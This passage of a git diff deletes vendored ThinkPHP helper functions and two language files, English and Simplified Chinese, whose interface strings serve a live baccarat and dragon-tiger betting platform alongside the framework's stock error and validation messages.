config_path($path = '') - { - return app()->getConfigPath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); - } -} - -if (!function_exists('public_path')) { - /** - * 获取web根目录 - * - * @param string $path - * @return string - */ - function public_path($path = '') - { - return app()->getRootPath() . 'public' . DIRECTORY_SEPARATOR . ($path ? ltrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR : $path); - } -} - -if (!function_exists('runtime_path')) { - /** - * 获取应用运行时目录 - * - * @param string $path - * @return string - */ - function runtime_path($path = '') - { - return app()->getRuntimePath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); - } -} - -if (!function_exists('root_path')) { - /** - * 获取项目根目录 - * - * @param string $path - * @return string - */ - function root_path($path = '') - { - return app()->getRootPath() . ($path ? $path . DIRECTORY_SEPARATOR : $path); - } -} diff --git a/vendor/topthink/framework/src/lang/en-us.php b/vendor/topthink/framework/src/lang/en-us.php deleted file mode 100644 index 65b63fa..0000000 --- a/vendor/topthink/framework/src/lang/en-us.php +++ /dev/null @@ -1,338 +0,0 @@ - -// +---------------------------------------------------------------------- - -// 核心中文语言包 -return [ - // 操作端 和 swoole文件 英文语言包 - 'lang' => 'en-us', - 'table' => 'Table', - 'boot' => 'Boot', - 'number' => 'Coup', - 'now_time' => 'TIME', - 'login_fail' => 'Login error', - - 'banker' => 'B', - 'player' => 'P', - 'tie' => 'T', - 'banker_pair' => 'BP', - 'player_pair' => 'PP', - 'both_pair' => 'BPP', - 'pair' => 'PAIR', - 'dragon' => 'L', - 'tiger' => 'H', - 'win_6' => 'win6', - 'is_win_6' => 'is win6?', - 'yes' => 'Yes', - 'no' => 'No', - 'online_number' => 'Online number', - 'bet_amount' => 'Bet amount', - 'wait_for_opening' => 'End Bet. Opening...', - 'point' => '', - - 'next' => 'NEXT', - 'disclaimer' => 'Road sign information is for reference only.', - 'data_error' => 'Data error', - 'browser_error' => 'Your browser does not support WebSocket', - - 'start' => 'START', - 'end' => 'END', - 'start_bet' => 'START', - 'end_bet' => 'END', - 'opening' => 'SUBMIT', - 'shuffle' => 'Shuffle', - 'change_boot' => 'Boot', - 'close_boot' => 'BALANCE', - 'logout' => 'EXIT', - 'is_to_shuffle' => 'Confirm to shuffle?', - 'is_to_balance' => 'Confirm to balance?', - 'is_to_boot' => 'Confirm to boot?', - 'need_a_result' => 'Please select the result to be modified', - 'is_to_logout' => 'Confirm to logout ?', - - - 'edit_previous_result' => 'Modify previous result', - 'select_result' => 'Select a result', - 'select' => 'Select please', - 'monday' => 'Monday', - 'tuesday' => 'Tuesday', - 'wednesday' => 'Wednesday', - 'thursday' => 'Thursday', - 'friday' => 'Friday', - 'saturday' => 'Saturday', - 'sunday' => 'Sunday', - - 'user_not_exist' => 'User does not exist', - 'table_not_run' => 'This table is not in operation', - 'tableNotRun' => 'This table is not in operation', - 'bet_fail' => 'Bet failed, server connection failed', - 'no_right' => 'You have no right to operate', - - 'bet_status_1' => 'Betting...', - 'bet_status_0' => 'Deal Cards', - 'bet_status_2' => 'End Bet. Opening...', - - 'confirm' => 'Ok', - 'cancel' => 'Cancel', - 'connect_fail' => 'You have disconnected the link, please return to re-enter', - 'message' => 'Message', - - 'table_status_0' => 'Running', - 'table_status_1' => 'Shuffling cards', - 'table_status_2' => 'Table is off', - - 'link_server_fail' => 'Fail to connect to server', - 'link_server_fail_1' => 'Dealer off line', - 'link_server_fail_2' => 'Fail to connect to server 2', - 'link_server_fail_3' => 'Fail to connect to server 3', - - 'appid_error' => 'Appid error', - 'appsecret_error' => 'Appsecret error', - 'appid_or_appsecret_error' => 'Appid or appsecret error', - 'param_error' => 'Param error', - 'illegal_request' => 'Illegal request', - - 'balance_success' => 'Balance success', - 'balance_fail' => 'Balance failed', - 'balance_fail_1' => 'Balance failed 1', - 'balance_fail_2' => 'Balance failed 2', - 'table_status_error' => 'Please change the table status to "shuffle state" and then balance.', - - 'boot_settle_success' => 'Boot settlement success', - 'boot_settle_fail' => 'Boot settlement failed', - 'boot_settle_fail_1' => 'The boot settlement failed, the table has no boots, please balance', - 'boot_settle_fail_2' => 'The boot settlement failed, the table has been settled, please login again and continue', - 'boot_settle_fail_3' => 'The shop is not over yet. Please open the result before changing your boots.', - - 'start_bet_success' => 'Start bet success', - 'start_bet_fail' => 'Start bet failed', - 'start_bet_fail_1' => 'Start bet failed,the game has started betting or has stopped betting', - 'start_bet_fail_2' => 'Start bet failed,the game infomation is incorrect', - 'start_bet_fail_3' => 'The operation failed, please make sure the table is not in the state of shuffling or parking.', - - 'end_bet_success' => 'End bet success', - 'end_bet_fail' => 'End bet failed', - 'end_bet_fail_1' => 'End bet failed,the game has started betting or has stopped betting', - 'end_bet_fail_2' => 'End bet failed,game infomation is incorrect', - - 'to_bet_success' => 'Bet success', - 'to_bet_fail' => 'Bet failed', - 'to_bet_fail_1' => 'Bet failed,your money is not enough', - 'to_bet_fail_2' => 'Bet failed,member information error', - 'to_bet_fail_3' => 'Bet failed,the allowed bet time has been exceeded', - 'to_bet_fail_4' => 'Bet failed,the game is not in a state where you can bet', - 'to_bet_fail_5' => 'Bet failed,the game infomation is incorrect', - 'to_bet_fail_6' => 'Bet failed,the bet amount must be greater than 0', - 'to_bet_fail_7' => 'Unable to bet Lucky 6 after exceeding 50 innings', - 'to_bet_fail_8' => 'Unable to bet Big or Small after exceeding 30 innings', - - 'opening_success' => 'Opening result sucess', - 'opening_fail' => 'Opening result failed', - 'opening_fail_1' => 'Opening result failed,please confirm that the game is in a state of stopping betting', - 'opening_fail_2' => 'Opening result failed,the game infomation is incorrect', - 'opening_fail_3' => 'Opening result failed,please enter the opening result', - 'opening_fail_4' => 'Opening result failed,The bet is not over and the result cannot be opened', - 'opening_fail_5' => 'Opening result failed,the cards are not uniform', - 'opening_fail_6' => 'Opening result failed,card opening data does not exist', - - 'retreated_success' => 'Modified success', - 'retreated_fail' => 'Modified failed', - 'retreated_fail_1' => 'Modified failed,please select the result correctly', - 'retreated_fail_2' => 'Modified failed,no previous data can be changed', - 'retreated_fail_3' => 'Modified failed,boot information error', - 'retreated_fail_4' => 'Modified failed,round information error', - 'retreated_fail_5' => 'Modified failed,table information error', - 'retreated_fail_6' => 'Modified failed,game type error', - - - // PC投注页面 简体中文语言包 - 'welcome' => 'Welcome', - 'account' => 'Account', - 'money' => 'Money', - 'language' => 'Lang', - 'rule' => 'Rule', - 'record' => 'Record', - 'user' => 'User', - 'log_out' => 'Exit', - 'limit' => 'Limit', - - 'game' => 'Game', - 'baccarat' => 'Baccarat', - 'dt' => 'Dragon tiger', - 'start_date' => 'Start Date', - 'end_date' => 'End Date', - 'search' => 'Search', - 'ttf' => 'Tab/time/frm', - 'total' => 'Total', - 'card' => 'Card', - 'banker_all' => 'Banker', - 'player_all' => 'Player', - 'tie_all' => 'Tie', - 'banker_pair_all' => 'B.Pair', - 'player_pair_all' => 'P.Pair', - 'both_pair_all' => 'B.P.Pair', - 'banker_doub_all' => 'B.Multiple', - 'player_doub_all' => 'P.Multiple', - 'dragon_all' => 'Dragon', - 'tiger_all' => 'Tiger', - - 'full_screen' => 'Full Screen', - 'exit_full_screen' => 'Exit full screen', - 'back' => 'Back', - 'sound' => 'Sound', - 'statistics' => 'Statistics', - 'b_query' => 'B.Query', - 'p_query' => 'P.Query', - 'd_query' => 'D.Query', - 't_query' => 'T.Query', - 'line' => 'Line', - 'line_1' => 'Closer', - 'line_2' => 'Farer', - 'line_3' => 'line 3', - 'lobby' => 'Lobby', - 'video_line_error' => 'Video line error', - 'lose' => 'Lose', - 'win' => 'Win', - 'to_bet_confirm_tip' => 'Please bet and click OK', - 'browser_tip' => 'Please use the advanced browser of Google Chrome, 360, QQ, Baidu, Firefox, or IE10 or above to enter the game.', - 'select_chip_tip' => 'Please choose to bet chips', - 'recharge_tip' => 'Money not enouge,please recharge', - 'instant_pot' => 'Instant pot', - 'bet' => 'Bet', - 'settlement' => 'Settlement', - 'no_bet_data' => 'No bet data', - 'personal_limit_banker_high' => 'Person limit, Banker maximum bet amount is ', - 'personal_limit_banker_low' => 'Person limit, Banker minimum bet amount is ', - 'personal_limit_player_high' => 'Person limit, Player maximum bet amount is ', - 'personal_limit_player_low' => 'Person limit, Player minimum bet amount is ', - 'personal_limit_tie_high' => 'Person limit, Tie maximum bet amount is ', - 'personal_limit_tie_low' => 'Person limit, Tie minimum bet amount is ', - 'personal_limit_banker_pair_high' => 'Person limit, Banker Pair maximum bet amount is ', - 'personal_limit_banker_pair_low' => 'Person limit, Banker Pair minimum bet amount is ', - 'personal_limit_player_pair_high' => 'Person limit, Player Pair maximum bet amount is ', - 'personal_limit_player_pair_low' => 'Person limit, Player Pair minimum bet amount is ', - 'personal_limit_dragon_high' => 'Person limit, Dragon maximum bet amount is ', - 'personal_limit_dragon_low' => 'Person limit, Dragon minimum bet amount is ', - 'personal_limit_tiger_high' => 'Person limit, Tiger maximum bet amount is ', - 'personal_limit_tiger_low' => 'Person limit, Tiger minimum bet amount is ', - 'game_not_start' => 'The game has not started yet', - 'game_stop_bet' => 'This game has stopped betting', - 'leave_table_tip' => 'Confirm to leave ?', - 'select_chip_tip' => 'Please choose to bet chips', - - // wap电投和网投语言包 - 'coming_soon' => 'Coming soon', - 'game_room' => 'Game Room', - - 'edit_pass' => 'Edit pass', - 'change_password' => 'Change password', - 'phone' => 'Phone', - 'last_login_time' => 'Last login time', - 'recharge' => 'Recharge', - 'withdraw' => 'Withdraw', - 'bill' => 'Bill', - 'game_record' => 'Game record', - 'baccarat_total_bet_count' => 'Baccarat total bet count', - 'dt_total_bet_count' => 'Dragon tiger total bet count', - 'total_cleared_wash_code' => 'Total cleared wash code', - 'uncleared_total_wash_code' => 'Uncleared total wash code', - 'wash_rate' => 'Wash code', - - 'current_password' => 'Current password', - 'new_password' => 'New password', - 'confirm_password' => 'Confirm password', - 'current_password_tip' => 'Please input your current password', - 'new_password_tip' => 'New password can not be less than 6 characters', - 'confirm_password_tip' => 'Your confirm password is different from new password', - 'login_again' => 'Plesase login again', - 'login' => 'Login', - 'sign_in' => 'SIGN IN', - 'account_login' => 'Sign in', - 'register' => 'Register', - 'register_new_user' => 'Register', - 'register_password_length_tip' => 'Password can not be less than 6 characters', - 'register_account_length_tip' => 'Account can not be less than 6 characters', - 'register_account_exist_tip' => 'Account already exists', - 'password' => 'Password', - 'register_account_tip' => 'Composed of 6-20 English or numbers', - 'register_password_tip' => 'Composed of 6-20 English or numbers,except spaces', - 'register_confirm_password_tip' => 'Input password again', - 'register_success' => 'Registration Success', - 'register_fail' => 'Registration Failed', - - 'password_not_empty' => 'Current password or new password can not be empty', - 'change_password_success' => 'Change password success', - 'change_password_fail' => 'Change password fail', - 'current_password_error' => 'Current password error', - 'recharge_unsupport_tip' => 'Recharge is not open yet, please contact your agent', - 'withdraw_unsupport_tip' => 'Withdraw is not open yet, please contact your agent', - 'select_time' => 'Select time', - 'start_time_tip' => 'Please select start date', - 'end_time_tip' => 'Please select end date', - - 'wash_code_amount' => 'Wash code amount', - 'code_amount' => 'Code amount', - 'net_code_amount' => 'Net code amount', - 'wash_code_time' => 'Wash code time', - 'extraction_method' => 'Extraction method', - 'deposit_money' => 'deposit money', - 'setup' => 'Setup', - 'mute' => 'Mute', - 'voice' => 'Voice', - 'win_or_lose' => 'Win or lose', - 'account_tip' => 'Please input account', - 'password_tip' => 'Please input password', - 'read_and_agree' => 'I have read and agreed the', - 'rule_and_agreement' => 'game rules and user agreement', - 'account_or_password_error' => 'Incorrect username or password', - 'account_not_exist' => 'Account does not exist', - 'force_offline' => 'You have been forced offline by the administrator', - 'auto_back' => 'You have not been bet in 5 frame, return to the game hall automatically', - 'in_top_sumday' => 'The table in up-to-date.Please update tomorrow', - 'exceeds_limit' => 'Exceeds Limit', - 'exceeds_limit_table' => 'Exceeds Limit Of Table', - 'under_limit_table' => 'Under Limit Of Table', - 'exceeds_limit_user' => 'Exceeds Limit Of User', - 'under_limit_user' => 'Under Limit Of User', - 'end_bet_error' => 'Stop Success', - 'end_bet_error_1' => 'Stop Error', - 'end_bet_error_2' => 'Stop Error', - 'repeated_entry' => 'Your account has landed elsewhere', - - 'online_entrance' => 'Telephone Betting', - 'onlinechip_entrance' => 'Online Betting', - 'agent_entrance' => 'Agent System', - 'login_entrance' => 'Login Entrance', - 'change_boot_false' => 'There are bets at the moment,cannot change boot', - 'win_limit_tip' => 'Reach the daily win limit, can not bet', - - - 'cancel_number' => 'Cancel', - 'is_cancel_number' => 'Confirm to cancel?', - 'cancel_number_success' => 'Cancel success', - 'cancel_number_fail_1' => 'Cancel fail, the table has no boots, please balance', - 'cancel_number_fail_2' => 'Cancel fail, the table has been settled, please login again and continue', - 'reset_number_fail_3' => 'Cancel fail,bet status does not match', - 'reset_number_msg' => 'The number has been reset, please bet again', - - 'reset_number' => 'Cancel', - 'is_reset_number' => 'Confirm to cancel?', - 'reset_number_success' => 'Done', - 'reset_number_fail_1' => 'Fail! The table has already reset.', - 'reset_number_fail_2' => 'Fail! The table has been settled, please logout & login again.', - 'reset_number_fail_3' => 'Fail! Bet status does not match', - 'reset_number_msg' => 'The number has been reset, please bet again.', - - 'confirm_to_change_card' => 'Confirm to change the card ?', - - 'restart_sb' => 'RESTART AI', - 'stop_sb' => 'STOP AI', - -]; \ No newline at end of file diff --git a/vendor/topthink/framework/src/lang/zh-cn.php b/vendor/topthink/framework/src/lang/zh-cn.php deleted file mode 100644 index a8d3b08..0000000 --- a/vendor/topthink/framework/src/lang/zh-cn.php +++ /dev/null @@ -1,468 +0,0 @@ - -// +---------------------------------------------------------------------- - -// 核心中文语言包 -return [ - // 操作端 和 swoole文件 简体中文语言包 - 'lang' => 'zh-cn', - 'table' => '桌台', - 'boot' => '靴数', - 'number' => '局数', - 'now_time' => '当前时间', - 'login_fail' => '登录失败', - - 'banker' => '庄', - 'player' => '闲', - 'tie' => '和', - 'banker_pair' => '庄对', - 'player_pair' => '闲对', - 'both_pair' => '庄闲对', - 'pair' => '对子', - 'dragon' => '龙', - 'tiger' => '虎', - 'win_6' => '赢6', - 'is_win_6' => '是否赢6', - 'yes' => '是', - 'no' => '否', - 'online_number' => '在线人数', - 'bet_amount' => '本局下注金额', - 'wait_For_Opening' => '停止下注-等待开盘', - 'point' => '点', - - 'next' => '下一局', - 'disclaimer' => '路牌资料仅供参考,如有错漏。本公司概不负责', - 'data_error' => '数据错误', - 'browser_error' => '您的浏览器不支持WebSocket', - - 'start' => '开始', - 'end' => '结束', - 'start_bet' => '接收下注', - 'end_bet' => '结束下注', - 'opening' => '提交结果', - 'shuffle' => '开始洗牌', - 'change_boot' => '换靴', - 'close_Boot' => '日结算', - 'logout' => '退出', - 'is_to_shuffle' => '是否需要将桌子的状态设置为"洗牌中"?', - 'is_to_balance' => '是否需要进行日结算?', - 'is_to_boot' => '是否需要进行换靴?', - 'need_a_result' => '请选择要修改的结果', - 'is_to_logout' => '是否退出登录?', - - 'edit_previous_result' => '修改上一局结果', - 'select_result' => '选择结果', - 'select' => '请选择', - 'monday' => '星期一', - 'tuesday' => '星期二', - 'wednesday' => '星期三', - 'thursday' => '星期四', - 'friday' => '星期五', - 'saturday' => '星期六', - 'sunday' => '星期日', - - 'user_not_exist' => '用户不存在', - 'table_not_run' => '该桌子暂时没有营运', - 'tableNotRun' => '该桌子暂时没有营运', - 'bet_fail' => '下注失败,服务器链接失败', - 'no_right' => '你无权操作', - - 'bet_status_1' => '接受下注', - 'bet_status_0' => '尚未接受下注', - 'bet_status_2' => '停止下注-等待开盘', - - 'confirm' => '确定', - 'cancel' => '取消', - 'connect_fail' => '您已断开链接,请返回重新进入', - 'message' => '信息', - - 'table_status_0' => '桌子运营中', - 'table_status_1' => '洗牌中', - 'table_status_2' => '停台中', - - 'link_server_fail' => '与服务通讯失败', - 'link_server_fail_1' => '荷官不在线', - 'link_server_fail_2' => '与服务通讯失败2', - 'link_server_fail_3' => '与服务通讯失败3', - - 'appid_error' => 'appid 错误', - 'appsecret_error' => 'appsecret 错误', - 'appid_or_appsecret_error' => 'appid或appsecret 错误', - 'param_error' => '参数错误', - 'illegal_request' => '非法请求', - - 'balance_success' => '日结算成功', - 'balance_fail' => '日结算失败', - 'balance_fail_1' => '日结算失败1', - 'balance_fail_2' => '日结算失败2', - 'table_status_error' => '请把桌子更改为"洗牌状态"再进行日结算', - - 'boot_settle_success' => '靴结算成功', - 'boot_settle_fail' => '靴结算失败', - 'boot_settle_fail_1' => '换靴失败,该桌子还没有靴,请进行日结', - 'boot_settle_fail_2' => '换靴失败,该桌子已经结算,请重新登录再继续', - 'boot_settle_fail_3' => '该铺尚未结束,请开出结果后再换靴', - - 'start_bet_success' => '开始下注成功', - 'start_bet_fail' => '开始下注失败', - 'start_bet_fail_1' => '开始下注失败,下注铺已经开始下注或者已经停止了下注', - 'start_bet_fail_2' => '开始下注失败,下注铺信息有误', - 'start_bet_fail_3' => '操作失败,请确保桌子不是在洗牌中或者停台中状态', - - 'end_bet_success' => '结束下注成功', - 'end_bet_fail' => '结束下注失败', - 'end_bet_fail_1' => '停止下注失败,该铺还没开始接受下注或者已经停止了下注', - 'end_bet_fail_2' => '开始下注失败,下注铺信息有误', - - 'to_bet_success' => '下注成功', - 'to_bet_fail' => '下注失败', - 'to_bet_fail_1' => '余额不足,不能下注', - 'to_bet_fail_2' => '会员信息错误,不能下注', - 'to_bet_fail_3' => '已超过允许的下注时间,不能下注', - 'to_bet_fail_4' => '该局不是在可以下注的状态,不能下注', - 'to_bet_fail_5' => '下注失败,下注铺信息有误', - 'to_bet_fail_6' => '下注金额必须大于0', - 'to_bet_fail_7' => '超过50局后无法下注幸运6', - 'to_bet_fail_8' => '超过30局后无法下注大小', - - 'opening_success' => '开盘结果成功', - 'opening_fail' => '开盘结果失败', - 'opening_fail_1' => '开结果失败,请确认该局是处于停止下注的状态', - 'opening_fail_2' => '开盘失败,开盘铺信息有误', - 'opening_fail_3' => '请输入开盘结果', - 'opening_fail_4' => '下注未结束,无法开结果', - 'opening_fail_5' => '开盘失败,庄闲牌面不齐', - 'opening_fail_6' => '开牌数据不存在', - - 'retreated_success' => '修改成功', - 'retreated_fail' => '修改失败', - 'retreated_fail_1' => '请正确选择结果', - 'retreated_fail_2' => '没有上一铺数据可更改', - 'retreated_fail_3' => '靴信息错误', - 'retreated_fail_4' => '回合信息错误', - 'retreated_fail_5' => '桌子信息错误', - 'retreated_fail_6' => '游戏类型错误', - - - // PC投注页面 简体中文语言包 - 'welcome' => '欢迎您', - 'account' => '账号', - 'money' => '余额', - 'language' => '语言', - 'rule' => '规则', - 'record' => '记录', - 'user' => '个人中心', - 'log_out' => '退出游戏', - 'limit' => '限红', - - 'game' => '游戏', - 'baccarat' => '百家乐', - 'dt' => '龙虎', - 'start_date' => '开始日期', - 'end_date' => '结束日期', - 'search' => '查询', - 'ttf' => '桌台/时间/局号', - 'total' => '合计', - 'card' => '牌', - 'banker_all' => '庄', - 'player_all' => '闲', - 'tie_all' => '和', - 'banker_pair_all' => '庄对', - 'player_pair_all' => '闲对', - 'both_pair_all' => '庄闲对', - 'banker_doub_all' => '庄翻倍', - 'player_doub_all' => '闲翻倍', - 'dragon_all' => '龙', - 'tiger_all' => '虎', - - - 'full_screen' => '全屏', - 'exit_full_screen' => '退出全屏', - 'back' => '返回', - 'sound' => '声音', - 'statistics' => '统计', - 'b_query' => '庄问路', - 'p_query' => '闲问路', - 'd_query' => '龙问路', - 't_query' => '虎问路', - 'line' => '线路', - 'line_1' => '近景', - 'line_2' => '远景', - 'line_3' => '线路三', - 'lobby' => '大厅', - - 'video_line_error' => '视频线路错误', - 'lose' => '输', - 'win' => '赢', - 'to_bet_confirm_tip' => '请下注后再点击确定', - 'browser_tip' => '请使用谷歌、360、QQ、百度、火狐、或者IE10以上版本的高级浏览器进入游戏', - 'select_chip_tip' => '请选择下注筹码', - 'recharge_tip' => '余额不足,请充值', - 'instant_pot' => '即时彩池', - 'bet' => '下注', - 'settlement' => '结算结果', - 'no_bet_data' => '没有下注数据', - 'personal_limit_banker_high' => '个人限红:庄最高下注额为', - 'personal_limit_banker_low' => '个人限红:庄最低下注额为', - 'personal_limit_player_high' => '个人限红:闲最高下注额为', - 'personal_limit_player_low' => '个人限红:闲最低下注额为', - 'personal_limit_tie_high' => '个人限红:和最高下注额为', - 'personal_limit_tie_low' => '个人限红:和最低下注额为', - 'personal_limit_banker_pair_high' => '个人限红:庄对最高下注额为', - 'personal_limit_banker_pair_low' => '个人限红:庄对最低下注额为', - 'personal_limit_player_pair_high' => '个人限红:闲对最高下注额为', - 'personal_limit_player_pair_low' => '个人限红:闲对最低下注额为', - 'personal_limit_dragon_high' => '个人限红:龙最高下注额为', - 'personal_limit_dragon_low' => '个人限红:龙最低下注额为', - 'personal_limit_tiger_high' => '个人限红:虎最高下注额为', - 'personal_limit_tiger_low' => '个人限红:虎最低下注额为', - 'game_not_start' => '游戏尚未开始', - 'game_stop_bet' => '本局游戏已停止下注', - 'leave_table_tip' => '确定要离开当前游戏台吗?', - 'select_chip_tip' => '请选择下注筹码', - - - // wap电投和网投语言包 - 'coming_soon' => '即将推出', - 'game_room' => '游戏大厅', - - 'edit_pass' => '修改密码', - 'change_password' => '修改密码', - 'phone' => '联系电话', - 'last_login_time' => '上次登陆时间', - 'recharge' => '充值上分', - 'withdraw' => '申请下分', - 'bill' => '账单', - 'game_record' => '游戏记录', - 'baccarat_total_bet_count' => '百家乐总下注次数', - 'dt_total_bet_count' => '龙虎总下注次数', - 'total_cleared_wash_code' => '已结算洗码总额', - 'uncleared_total_wash_code' => '未结算洗码总额', - 'wash_rate' => '洗码率', - - 'current_password' => '请输入旧密码', - 'new_password' => '请输入新密码', - 'confirm_password' => '再次输入新密码', - 'current_password_tip' => '请输入旧密码', - 'new_password_tip' => '新密码不能小于6个字符', - 'confirm_password_tip' => '两次输入的密码不一致', - 'login_again' => '请重新登录', - 'login' => '登录', - 'sign_in' => '登录', - 'account_login' => '已有账户登录', - 'register' => '注册', - 'register_new_user' => '新用户注册', - 'password' => '密码', - 'register_password_length_tip' => '密码不能小于6个字符', - 'register_account_length_tip' => '账号不能小于6个字符', - 'register_account_exist_tip' => '账号已存在', - 'register_account_tip' => '6-20位英文.数字组成', - 'register_password_tip' => '6-20位字符.不包含空格', - 'register_confirm_password_tip' => '再输入一遍登录密码', - 'register_success' => '注册成功', - 'register_fail' => '注册失败', - - 'password_not_empty' => '旧密码或新密码不能为空', - 'change_password_success' => '修改密码成功', - 'change_password_fail' => '修改密码失败', - 'current_password_error' => '旧密码错误', - 'recharge_unsupport_tip' => '上分暂时未开启,请联系您的代理上分', - 'withdraw_unsupport_tip' => '下分暂时未开启,请联系您的代理下分', - 'select_time' => '选择时间', - 'start_time_tip' => '请选择开始时间', - 'end_time_tip' => '请选择结束时间', - - 'wash_code_amount' => '洗码量', - 'code_amount' => '码量', - 'net_code_amount' => '净码量', - 'wash_code_time' => '洗码时间', - 'extraction_method' => '提取方式', - 'deposit_money' => '存入余额', - 'setup' => '设置', - 'mute' => '静音', - 'voice' => '开声', - 'win_or_lose' => '输赢', - 'account_tip' => '请输入账号', - 'password_tip' => '请输入密码', - 'read_and_agree' => '我已阅读并同意', - 'rule_and_agreement' => '游戏规则与用户协议', - 'account_or_password_error' => '账号或密码错误', - 'account_not_exist' => '账号不存在', - 'force_offline' => '你已被管理员强制下线', - 'auto_back' => '5局内未下注自动返回游戏大厅', - - 'reset_number' => '作废', - 'is_reset_number' => '是否作废当前该局?', - 'reset_number_success' => '操作成功', - 'reset_number_fail_1' => '操作失败,该靴已经结算', - 'reset_number_fail_2' => '操作失败,该桌子已经结算', - 'reset_number_fail_3' => '操作失败,下注状态不符', - 'reset_number_msg' => '该局已重置,请重新下注', - - - - - - - - - - - - - - - - - - // 系统错误提示 - 'Undefined variable' => '未定义变量', - 'Undefined index' => '未定义数组索引', - 'Undefined offset' => '未定义数组下标', - 'Parse error' => '语法解析错误', - 'Type error' => '类型错误', - 'Fatal error' => '致命错误', - 'syntax error' => '语法错误', - - // 框架核心错误提示 - 'dispatch type not support' => '不支持的调度类型', - 'method param miss' => '方法参数错误', - 'method not exists' => '方法不存在', - 'module not exists' => '模块不存在', - 'controller not exists' => '控制器不存在', - 'class not exists' => '类不存在', - 'property not exists' => '类的属性不存在', - 'template not exists' => '模板文件不存在', - 'illegal controller name' => '非法的控制器名称', - 'illegal action name' => '非法的操作名称', - 'url suffix deny' => '禁止的URL后缀访问', - 'Route Not Found' => '当前访问路由未定义', - 'Undefined db type' => '未定义数据库类型', - 'variable type error' => '变量类型错误', - 'PSR-4 error' => 'PSR-4 规范错误', - 'not support total' => '简洁模式下不能获取数据总数', - 'not support last' => '简洁模式下不能获取最后一页', - 'error session handler' => '错误的SESSION处理器类', - 'not allow php tag' => '模板不允许使用PHP语法', - 'not support' => '不支持', - 'redisd master' => 'Redisd 主服务器错误', - 'redisd slave' => 'Redisd 从服务器错误', - 'must run at sae' => '必须在SAE运行', - 'memcache init error' => '未开通Memcache服务,请在SAE管理平台初始化Memcache服务', - 'KVDB init error' => '没有初始化KVDB,请在SAE管理平台初始化KVDB服务', - 'fields not exists' => '数据表字段不存在', - 'where express error' => '查询表达式错误', - 'no data to update' => '没有任何数据需要更新', - 'miss data to insert' => '缺少需要写入的数据', - 'miss complex primary data' => '缺少复合主键数据', - 'miss update condition' => '缺少更新条件', - 'model data Not Found' => '模型数据不存在', - 'table data not Found' => '表数据不存在', - 'delete without condition' => '没有条件不会执行删除操作', - 'miss relation data' => '缺少关联表数据', - 'tag attr must' => '模板标签属性必须', - 'tag error' => '模板标签错误', - 'cache write error' => '缓存写入失败', - 'sae mc write error' => 'SAE mc 写入错误', - 'route name not exists' => '路由标识不存在(或参数不够)', - 'invalid request' => '非法请求', - 'bind attr has exists' => '模型的属性已经存在', - 'relation data not exists' => '关联数据不存在', - 'relation not support' => '关联不支持', - 'chunk not support order' => 'Chunk不支持调用order方法', - - // 上传错误信息 - 'unknown upload error' => '未知上传错误!', - 'file write error' => '文件写入失败!', - 'upload temp dir not found' => '找不到临时文件夹!', - 'no file to uploaded' => '没有文件被上传!', - 'only the portion of file is uploaded' => '文件只有部分被上传!', - 'upload File size exceeds the maximum value' => '上传文件大小超过了最大值!', - 'upload write error' => '文件上传保存错误!', - 'has the same filename: {:filename}' => '存在同名文件:{:filename}', - 'upload illegal files' => '非法上传文件', - 'illegal image files' => '非法图片文件', - 'extensions to upload is not allowed' => '上传文件后缀不允许', - 'mimetype to upload is not allowed' => '上传文件MIME类型不允许!', - 'filesize not match' => '上传文件大小不符!', - 'directory {:path} creation failed' => '目录 {:path} 创建失败!', - - // Validate Error Message - ':attribute require' => ':attribute不能为空', - ':attribute must be numeric' => ':attribute必须是数字', - ':attribute must be integer' => ':attribute必须是整数', - ':attribute must be float' => ':attribute必须是浮点数', - ':attribute must be bool' => ':attribute必须是布尔值', - ':attribute not a valid email address' => ':attribute格式不符', - ':attribute not a valid mobile' => ':attribute格式不符', - ':attribute must be a array' => ':attribute必须是数组', - ':attribute must be yes,on or 1' => ':attribute必须是yes、on或者1', - ':attribute not a valid datetime' => ':attribute不是一个有效的日期或时间格式', - ':attribute not a valid file' => ':attribute不是有效的上传文件', - ':attribute not a valid image' => ':attribute不是有效的图像文件', - ':attribute must be alpha' => ':attribute只能是字母', - ':attribute must be alpha-numeric' => ':attribute只能是字母和数字', - ':attribute must be alpha-numeric, dash, underscore' => ':attribute只能是字母、数字和下划线_及破折号-', - ':attribute not a valid domain or ip' => ':attribute不是有效的域名或者IP', - ':attribute must be chinese' => ':attribute只能是汉字', - ':attribute must be chinese or alpha' => ':attribute只能是汉字、字母', - ':attribute must be chinese,alpha-numeric' => ':attribute只能是汉字、字母和数字', - ':attribute must be chinese,alpha-numeric,underscore, dash' => ':attribute只能是汉字、字母、数字和下划线_及破折号-', - ':attribute not a valid url' => ':attribute不是有效的URL地址', - ':attribute not a valid ip' => ':attribute不是有效的IP地址', - ':attribute must be dateFormat of :rule' => ':attribute必须使用日期格式 :rule', - ':attribute must be in :rule' => ':attribute必须在 :rule 范围内', - ':attribute be notin :rule' => ':attribute不能在 :rule 范围内', - ':attribute must between :1 - :2' => ':attribute只能在 :1 - :2 之间', - ':attribute not between :1 - :2' => ':attribute不能在 :1 - :2 之间', - 'size of :attribute must be :rule' => ':attribute长度不符合要求 :rule', - 'max size of :attribute must be :rule' => ':attribute长度不能超过 :rule', - 'min size of :attribute must be :rule' => ':attribute长度不能小于 :rule', - ':attribute cannot be less than :rule' => ':attribute日期不能小于 :rule', - ':attribute cannot exceed :rule' => ':attribute日期不能超过 :rule', - ':attribute not within :rule' => '不在有效期内 :rule', - 'access IP is not allowed' => '不允许的IP访问', - 'access IP denied' => '禁止的IP访问', - ':attribute out of accord with :2' => ':attribute和确认字段:2不一致', - ':attribute cannot be same with :2' => ':attribute和比较字段:2不能相同', - ':attribute must greater than or equal :rule' => ':attribute必须大于等于 :rule', - ':attribute must greater than :rule' => ':attribute必须大于 :rule', - ':attribute must less than or equal :rule' => ':attribute必须小于等于 :rule', - ':attribute must less than :rule' => ':attribute必须小于 :rule', - ':attribute must equal :rule' => ':attribute必须等于 :rule', - ':attribute has exists' => ':attribute已存在', - ':attribute not conform to the rules' => ':attribute不符合指定规则', - 'invalid Request method' => '无效的请求类型', - 'invalid token' => '令牌数据无效', - 'not conform to the rules' => '规则错误', - 'in_top_sumday' => '该桌子处于最新的日结天数,请明天再进行日结', - 'exceeds_limit' => '下注超出限紅', - 'exceeds_limit_table' => '下注超出桌子限紅', - 'under_limit_table' => '下注低于桌子限紅', - 'exceeds_limit_user' => '下注超出个人限紅', - 'under_limit_user' => '下注低于个人限紅', - 'end_bet_error' => '停止成功', - 